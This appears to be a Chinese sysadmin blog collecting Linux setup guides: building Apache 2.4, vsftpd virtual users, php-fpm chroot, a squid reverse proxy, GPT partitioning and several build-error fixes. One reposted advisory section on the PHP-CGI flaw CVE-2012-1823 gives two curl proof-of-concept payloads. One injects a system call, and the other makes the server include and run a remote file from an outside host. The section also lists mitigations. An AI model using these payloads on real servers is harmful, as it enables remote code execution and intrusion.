apache-2.4.x 编译安装方法

apache-2.2与新出的apache-2.4安装不同的地方在于,2.4版的已经不自带apr库,所以在安装apache-2.4之前,需要下载apr。
1、下载软件

  1. cd /tmp
  2. wget http://mirrors.axint.net/apache//httpd/httpd-2.4.2.tar.gz
  3. wget http://mirrors.axint.net/apache//apr/apr-1.4.6.tar.gz
  4. wget http://mirrors.axint.net/apache//apr/apr-util-1.4.1.tar.gz
  5. tar xzf httpd-2.4.2.tar.gz
  6. tar xzf apr-1.4.6.tar.gz
  7. tar xzf apr-util-1.4.1.tar.gz

2、移动apr到srclib

  1. mv apr-1.4.6 httpd-2.4.2/srclib/apr
  2. mv apr-util-1.4.1 httpd-2.4.2/srclib/apr-util

3、安装apache-2.4

  1. cd /tmp/httpd-2.4.2
  2. ./configure –prefix=/usr/local/apache –enable-so –enable-deflate=shared –enable-ssl=shared –enable-expires=shared  –enable-headers=shared –enable-rewrite=shared –enable-static-support  –with-included-apr –with-mpm=prefork
  3. make && make install
  4. cp -f build/rpm/httpd.init /etc/init.d/httpd
  5. chmod +x /etc/init.d/httpd
  6. chkconfig –add httpd
  7. chkconfig httpd on
  8. cd /etc
  9. mv httpd httpd_old
  10. ln -s /usr/local/apache/ httpd
  11. cd /usr/sbin/
  12. ln -fs /usr/local/apache/bin/httpd
  13. ln -fs /usr/local/apache/bin/apachectl
  14. cd /var/log
  15. rm -rf httpd/
  16. ln -s /usr/local/apache/logs httpd

vsftpd虚拟用户配置(文本模式)

1、安装vsftpd

  1. yum install db4-utils db4 vsftpd

2、创建虚拟用户数据库

  1. cd /etc/vsftpd
  2. vi vusers.txt

内容如下:

  1. vivek
  2. vivekpass
  3. sayali
  4. sayalipass

现在创建数据库:

  1. db_load -T -t hash -f vusers.txt vsftpd-virtual-user.db
  2. chmod 600 vsftpd-virtual-user.db vusers.txt

3、配置vsftpd以支持虚拟用户

  1. anonymous_enable=NO
  2. local_enable=YES
  3. # Virtual users will use the same privileges as local users.
  4. # It will grant write access to virtual users. Virtual users will use the
  5. # same privileges as anonymous users, which tends to be more restrictive
  6. # (especially in terms of write access).
  7. virtual_use_local_privs=YES
  8. write_enable=YES
  9.  
  10. # Set the name of the PAM service vsftpd will use
  11. # RHEL / centos user should use /etc/pam.d/vsftpd
  12. pam_service_name=vsftpd.virtual
  13.  
  14. # 激活虚拟用户
  15. guest_enable=YES
  16.  
  17. # Automatically generate a home directory for each virtual user, based on a template.
  18. # For example, if the home directory of the real user specified via guest_username is
  19. # /home/virtual/$USER, and user_sub_token is set to $USER, then when virtual user vivek
  20. # logs in, he will end up (usually chroot()’ed) in the directory /home/virtual/vivek.
  21. # This option also takes affect if local_root contains user_sub_token.
  22. user_sub_token=$USER
  23.  
  24. # 设置虚拟用户根目录
  25. local_root=/home/vftp/$USER
  26.  
  27. # Chroot user and lock down to their home dirs
  28. chroot_local_user=YES
  29.  
  30. # Hide ids from user
  31. hide_ids=YES

4、创建PAM文件

  1. vi /etc/pam.d/vsftpd.virtual

内容如下:

  1. #%PAM-1.0
  2. auth       required     pam_userdb.so db=/etc/vsftpd/vsftpd-virtual-user
  3. account    required     pam_userdb.so db=/etc/vsftpd/vsftpd-virtual-user
  4. session    required     pam_loginuid.so

5、创建相关目录

  1. # mkdir /home/vftp
  2. # mkdir -p /home/vftp/{vivek,sayali}
  3. # chown -R ftp:ftp /home/vftp

6、重启vsftpd

  1. service vsftpd restart

参考:http://www.cyberciti.biz/tips/centos-redhat-vsftpd-ftp-with-virtual-users.html

编译mysql出现的问题undefined reference to tgoto|tputs

部分编译参数为:
./configure
–enable-assembler
–with-mysqld-ldflags=”-all-static”
–with-client-ldflags=”-all-static”
出现如下错误:
../cmd-line-utils/libedit/libedit.a(term.o): In function `term_echotc’:
term.c:(.text+0×1557): undefined reference to `tputs’
term.c:(.text+0×1580): undefined reference to `tgetstr’
term.c:(.text+0×1676): undefined reference to `tgoto’
term.c:(.text+0x169a): undefined reference to `tputs’
term.c:(.text+0×1761): undefined reference to `tgoto’
term.c:(.text+0×1781): undefined reference to `tputs’
解决方法:
./configure
–enable-assembler
–with-mysqld-ldflags=”-all-static”
–with-client-ldflags=”-all-static -ltinfo”
在–with-client-ldflags增加 -ltinfo。

centos-6 /usr/bin/ld: cannot find lc

在centos 6 64位系统上编译mini_sendmail时出现/usr/bin/ld: cannot find lc错误,查找了一下发现libc.so是存在的,于是使用strace -o -f lc.strace make语句跟踪了一下,发现缺少libc.a文件,而在centos 5就没有这种情况,执行以后命令安装:

  1. yum install glibc-static

php-fpm chroot功能的使用

nginx+php-fpm是现在配置php环境非常流行的组合之一。nginx以其并发能力强,轻巧,速度快而受到非常多人的青睐,php-fpm以其安全,处理php速度快而成为与nginx的最佳组合。php-fpm提供有一个非常重要的功能chroot,它可以把指定的网站完完全全限制在一个目录下,可以对系统和其它虚拟机起到很好的隔离效果,这对系统的安全无疑是加强了不少,下面介绍如何配置。
我们假设域名为devops.webres.wang,网站根目录为/home/chroot/devops.webres.wang/web,需要把此网站限制在/home/chroot/devops.webres.wang。
1、php-fpm.conf配置
打开php-fpm.conf文件,把chroot更改为chroot = /home/chroot/devops.webres.wang
2、nginx配置
我们上面把devops.webres.wang站点限制在了/home/chroot/devops.webres.wang,所以对于php-fpm,此网站根目录已经变成是/web,所以我们需要更改nginx传递给php-fpm的网站根目录地址。
找到fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;,更改为fastcgi_param SCRIPT_FILENAME /web$fastcgi_script_name;
3、一些目录创建

  1. cd /home/chroot/devops.webres.wang/
  2. mkdir -p tmp etc bin usr/sbin lib dev/
  3. mknod -m 0666 dev/null c 1 3
  4. mknod -m 0666 dev/random c 1 8
  5. mknod -m 0666 dev/urandom c 1 9
  6. mknod -m 0666 dev/zero c 1 5
  7. chmod 1777 tmp

4、修复解析
把devops.webres.wang的php完全限制在一个目录下后,导致了php无法解析域名,以32位系统为例(64位库文件位置为lib64)下面是修复的步骤,

  1. cd /home/chroot/devops.webres.wang/
  2. cp /etc/hosts /etc/resolv.conf /etc/nsswitch.conf etc/
  3. cp /lib/{ld-linux.so.2,libc.so.6,libdl.so.2,libnss_dns.so.2,libnss_files.so.2,libresolv.so.2,libtermcap.so.2}  lib/

这样php就可以解析域名了。
5、修复sendmail功能
同样chroot目录后,就无法发送邮件了,我们这里使用mini_sendmail代为发送邮件。同样以32位系统为例。

  1. cd /home/chroot/devops.webres.wang/
  2. cp -P /bin/bash /bin/sh bin
  3. cp /etc/passwd /etc/group etc
  4. cd /tmp
  5. wget http://www.acme.com/software/mini_sendmail/mini_sendmail-1.3.6.tar.gz
  6. tar xzf mini_sendmail-1.3.6.tar.gz
  7. cd mini_sendmail-1.3.6
  8. make
  9. cp mini_sendmail /home/chroot/devops.webres.wang/usr/sbin/sendmail

php cgi远程任意代码执行漏洞

国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

粗看一下貌似没啥危害,因为php做了防范,在cgi这个sapi下是无法使用-r,-f等直接执行命令的参数的。只有少数几个参数可以使用,因此公告里也就给出了使用-s参数读取源文件的poc。

另外关于RCE的PoC原文没有给出,不过说明的确可以远程执行代码。那么他是怎么做到的呢?我粗略想了想,可以利用的参数只有一个-d参数了,作用是给php定义一个ini的值。

那么利用它能做什么呢?我给出如下两个RCE的PoC方案:

1、本地包含直接执行代码:

  1. curl -H "USER-AGENT: <?system(‘id’);die();?>" http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n

2、远程包含执行代码:

  1. curl http://target.com/test.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.test.com/2.txt

经过测试以上两者都可以,但其实就是一个包含文件的两种使用而已。
各位看看还有什么牛逼的方法可以绕过限制直接远程执行代码呢?这会是一个很好玩的技术挑战。
补充:
防治方法是:
1. 升级到官方最新版
2. 下载这个漏洞的临时补丁http://eindbazen.net/wp-content/uploads/2012/05/CVE-2012-1823-mitigation.tar.gz
受影响的平台:APACHE+MOD_CGI+PHP-CGI模式。
转自:http://zone.wooyun.org/content/151

无法连接ssh?fatal: daemon() failed: No such device

今天发现一个服务器的sshd无法启动,查看/var/log/secure里发现:
Jul 04 15:08:09 devchn sshd[21955]: fatal: daemon() failed: No such device
觉得/dev/null设备有问题,于是重建:

  1. rm /dev/null 
  2. mknod /dev/null c 1 3 
  3. chmod 666 /dev/null

问题解决。

squid反向代理缓存安装配置

squid是优秀的代理服务器之一,发展历史相当悠久,功能也相当完善,许多大型网站都会用到squid作为web加速服务器。下面我们学习squid的反向代理缓存的使用。

架构环境说明

本实例的域名是 cache.webres.wang,通过DNS的轮询技术,将客户端的请求分发给其中一台 Squid 反向代理服务器处理,如果这台 Squid 缓存了用户的请求资源,则将请求的资源直接返回给用户,否则这台 Squid 将没有缓存的请求根据配置的规则发送给邻居 Squid 和后台的 WEB 服务器处理,这样既减轻后台 WEB 服务器的负载,又提高整个网站的性能和安全性。该系统结构图 如下:
FAQ
配置的系统环境:
一台 DNS 服务器:为域名cache.webres.wang添加两条A记录192.168.1.110和192.168.1.111。
两台Squid 服务器:
squid1:192.168.1.110
squid2:192.168.1.111
两台后端WEB 服务器:
webServer1:192.168.1.220
webServer2:192.168.1.221
dns的配置这里不作介绍,主要介绍squid的安装配置。

squid安装

  1. yum install gcc wget perl gcc-c++ make
  2. cd /tmp
  3. wget http://www.squid-cache.org/Versions/v3/3.1/squid-3.1.19.tar.gz
  4. tar xzf squid-3.1.19.tar.gz
  5. cd squid-3.1.19
  6. ./configure
  7. make && make install
  8. groupadd squid
  9. useradd -g squid -s /sbin/nologin squid
  10. chown -R squid /usr/local/squid/var/logs/ /usr/local/squid/var/cache/

squid反向代理配置

配置 Squid1 服务器:

  1. vi /usr/local/squid/etc/squid.conf
  1. cache_effective_user squid
  2.  cache_effective_group squid
  3.  
  4.  ### 设定 squid 的主机名 , 如无此项 squid 将无法启动
  5.  visible_hostname squid1.webres.wang
  6.  
  7.  #### 配置 squid 为加速模式
  8.  http_port 80 accel vhost vport
  9.  icp_port 3130
  10.  
  11.  ### 配置 squid2 为其邻居,当 squid1 在其缓存中没有找到请求的资源时,通过 ICP 查询去其邻居中取得缓存
  12.  cache_peer squid2.webres.wang sibling 80 3130
  13.  
  14.  ### squid1 的两个父节点,originserver 参数指明是源服务器, round-robin  参数指明 squid 通过轮询方式将请求分发到其中一台父节点; squid 同时会对这些父节点的健康状态进行检查,如果父节点 down 了,那么 squid 会从剩余的 origin 服务器中抓取数据,round-robin表示使用通过 RR 轮询方式转发到两个父节点中的一个
  15.  cache_peer 192.168.1.220 parent 8080 0 no-query originserver round-robin  name=webServer1
  16.  cache_peer 192.168.1.221 parent 8080 0 no-query originserver round-robin  name=webServer2
  17.  
  18.  ###允许webServer1 webServer2  cache.webres.wang的请求
  19.  cache_peer_domain webServer1 webServer2  cache.webres.wang
  20.  
  21.  ####下面是一些访问控制、日志和缓存目录的设置
  22.  acl localnet src 192.168.1.110 192.168.1.111
  23.  http_access allow all
  24.  icp_access allow localnet
  25.  cache_log /usr/local/squid/var/logs/cache.log
  26.  access_log /usr/local/squid/var/logs/access.log squid
  27.  cache_dir ufs /usr/local/squid/var/cache/ 1000 16 256
  28.  
  29.  ### 对 squid 的一些优化
  30.  maximum_object_size 10240 KB  ### 能缓存的最大对象为 10M
  31.  maximum_object_size_in_memory 512 KB ### 内存中缓存的最大对象 512K
  32.  cache_mem 256 MB  ###squid 用于缓存的内存量

在/etc/hosts添加:

  1. squid1.webres.wang:192.168.1.110
  2. squid2.webres.wang:192.168.1.111

squid2的配置完全一样,除了需要更改visible_hostname。

启动squid

检查 squid 配置文件正确与否:

  1. /usr/local/squid/sbin/squid –Nk parse

生成缓存目录:

  1. /usr/local/squid/sbin/squid –N -z

启动squid:

  1. /usr/local/squid/sbin/squid

参考:http://www.ibm.com/developerworks/cn/linux/l-cn-squid/

MBR与GPT分区格式(实例-创建大于2TB的分区)

一 关键词

MBR和2TB的限制
在使用fdisk建立分区时,我们最大只能建立2TB大小的分区,如果你的磁盘(阵列)大于2TB,只能通过划分多个分区的方法才能充分利用磁盘容量,这对于使用小于2TB分区的朋友没啥影响,但对于使用大于2TB分区(比如5TB的分区)的朋友就会遇到问题了,要突破这个限制;我们先来了解下MBR(Master Boot Record)和GPT(GUID Partition Table).

MBR
主引导记录(Master Boot Record,缩写:MBR),又叫做主引导扇区,是计算机开机后访问硬盘时所必须要读取的首个扇区,它在硬盘上的三维地址为(柱面,磁头,扇区)=(0,0,1)。

MBR是由分区程序(如Fdisk,Parted)所产生的,它不依赖任何操作系统,而且硬盘引导程序也是可以改变的,从而能够实现多系统引导。

从主引导记录的结构可以知道,它仅仅包含一个64个字节的硬盘分区表。由于每个分区信息需要16个字节,所以对于采用MBR型分区结构的硬盘(其磁盘卷标类型为MS-DOS),最多只能识别4个主要分区。所以对于一个采用此种分区结构的硬盘来说,想要得到4个以上的主要分区是不可能的。这里就需要引出扩展分区了。扩展分区也是主分区(Primary partition)的一种,但它与主分区的不同在于理论上可以划分为无数个逻辑分区,每一个逻辑分区都有一个和MBR结构类似的扩展引导记录(EBR)。
在MBR分区表中最多4个主分区或者3个主分区+1个扩展分区,也就是说扩展分区只能有一个,然后可以再细分为多个逻辑分区。
在Linux系统中,硬盘分区命名为sda1-sda4或者hda1-hda4(其中a表示硬盘编号可能是a、b、c等等)。在MBR硬盘中,分区号1-4是主分区(或者扩展分区),逻辑分区号只能从5开始。
在MBR分区表中,一个分区最大的容量为2T,且每个分区的起始柱面必须在这个disk的前2T内。你有一个3T的硬盘,根据要求你至少要把它划分为2个分区,且最后一个分区的起始扇区要位于硬盘的前2T空间内。如果硬盘太大则必须改用GPT。

GPT
全局唯一标识分区表(GUID Partition Table,缩写:GPT)是一个实体硬盘的分区结构。它是EFI(可扩展固件接口标准)的一部分,用来替代BIOS中的主引导记录分区表。但因为MBR分区表不支持容量大于2.2TB(2.2 × 1012字节)的分区,所以也有一些BIOS系统为了支持大容量硬盘而用GPT分区表取代MBR分区表。

在MBR硬盘中,分区信息直接存储于主引导记录(MBR)中(主引导记录中还存储着系统的引导程序)。但在GPT硬盘中,分区表的位置信息储存在GPT头中。但出于兼容性考虑,硬盘的第一个扇区仍然用作MBR,之后才是GPT头。

与支持最大卷为2 TB(Terabytes)并且每个磁盘最多有4个主分区(或3个主分区,1个扩展分区和无限制的逻辑驱动器)的MBR磁盘分区的样式相比,GPT磁盘分区样式支持最大卷为18 EB(Exabytes)并且每磁盘的分区数没有上限,只受到操作系统限制(由于分区表本身需要占用一定空间,最初规划硬盘分区时,留给分区表的空间决定了最多可以有多少个分区,IA-64版Windows限制最多有128个分区,这也是EFI标准规定的分区表的最小尺寸)。与MBR分区的磁盘不同,至关重要的平台操作数据位于分区,而不是位于非分区或隐藏扇区。另外,GPT分区磁盘有备份分区表来提高分区数据结构的完整性。

EFI
可扩展固件接口(英文名Extensible Firmware Interface 或EFI)是一种个人电脑系统规格,用来定义操作系统与系统韧体之间的软件界面,为替代BIOS的升级方案。可扩展固件接口负责加电自检(POST)、连系操作系统以及提供连接操作系统与硬件的接口。
EFI最初由英特尔开发,现时由UEFI论坛来推广与发展。

UEFI
是由EFI1.10为基础发展起来的,它的所有者已不再是Intel,而是一个称作Unified EFI Form的国际组织,贡献者有Intel,Microsoft,AMI,等几个大厂,属于open source,目前版本为2.1。

二 创建一个大于2TB的分区

MBR 与 GPT,都是分区格式,其中MBR最大分区小于等于2TB,而GPT分区没有2TB的限制,理论最大分区18 EB!
现在我们知道了要创建一个大于2TB的分区,就不能使用MBR 格式的分区表了,而要使用GPT格式的分区表,我们最常用的fdisk 分区工具就爱莫能助了,需要使用linux 下的Parted分区工具!
测试环境为:
Dell R710 2u 服务器
cpu 2* XEON 5606
mem 16G
disk 6*1TB sas 7200rpm
raid raid level 5 perc 6i卡
rhel 6 64bit ,创建一个4TB大小分区
下面正式开始分区:
1 在使用parted 分区之前,我们先用fdisk -l 来查看下硬盘信息!
FAQ
2 上边的信息我们知道 /dev/sdb 4.6TB,现在使用parted 命令,如下图。
FAQ
3 进入parted 后,执行2,3,4,5,6,7,8,9,10,10,11步骤,指令下边有解释!
FAQ
4 分区完成后使用print 可以看到刚才分区的信息!大小 4684GB
FAQ
5 quit 用于退出parted环境,信息提示更新/etx/fstab!
FAQ
6 再用fdisk -l 来查看下 sdb硬盘,现在已经有sdb1 分区了,注意system gpt!
FAQ
7 parted 到这里就完成了!
下面格式化/dev/sdb1 文件系统为EXT4:
1 执行 mkfs.ext4 /dev/sdb1 一路回车即可!
FAQ
更新/etc/fstab :
1.使用blkid 查看分区的uuid 如下图,复制新分区/dev/sdb1的 UUID
FAQ
2 将 /dev/sdb1的 UUID 添加到 /etc/fstab,/dev/sdb1 挂载在 /data 目录下!
FAQ
3 至此全部完成, 下面检查一下!
mount -a 重新挂载 /etc/fstab 文件中的记录!
mount 可以发现 /dev/sdb1 已经挂载到 /data 目录下了!
df -h 发现 /data 4.2TB
FAQ

三 详细介绍下Parted命令

[root@abintel ~]# parted –help
用法:parted [选项]… [设备 [命令 [参数]…]…]
将带有“参数”的命令应用于“设备”。如果没有给出“命令”,则以交互模式运行。

选项:
-h, –help 显示此求助信息
-i, –interactive 在必要时,提示用户
-s, –script 从不提示用户
-v, –version 显示版本

命令:
检查 MINOR 对文件系统进行一个简单的检查
cp [FROM-DEVICE] FROM-MINOR TO-MINOR 将文件系统复制到另一个分区
help [COMMAND] 打印通用求助信息,或关于 COMMAND 的信息
mklabel 标签类型 创建新的磁盘标签 (分区表)
mkfs MINOR 文件系统类型 在 MINOR 创建类型为“文件系统类型”的文件系统
mkpart 分区类型 [文件系统类型] 起始点 终止点 创建一个分区
mkpartfs 分区类型 文件系统类型 起始点 终止点 创建一个带有文件系统的分区
move MINOR 起始点 终止点 移动编号为 MINOR 的分区
name MINOR 名称 将编号为 MINOR 的分区命名为“名称”
print [MINOR] 打印分区表,或者分区
quit 退出程序
rescue 起始点 终止点 挽救临近“起始点”、“终止点”的遗失的分区
resize MINOR 起始点 终止点 改变位于编号为 MINOR 的分区中文件系统的大小
rm MINOR 删除编号为 MINOR 的分区
select 设备 选择要编辑的设备
set MINOR 标志 状态 改变编号为 MINOR 的分区的标志
注意
mklabel label-type 必须是一下这些类型:

* bsd

* loop (raw disk access)

* gpt

* mac

* msdos

* pc98

* sun

例:(parted) mklabel gtp 或者 (parted) mklabel msdos

mkpart(建立新分区)

格式:mkpart part-type fs-type start end

建立一个新的分区
part-type是以下类型之一 primary(主分区), extended(扩展分区), logical(逻辑分区)。
fs-type来指定文件系统,比如ext4 。
start和end是新分区开始和结束的具体位置。0表示起止,-1表示结尾;或者以mb表示或者GB表示!
转自:http://dngood.blog.51cto.com/446195/647702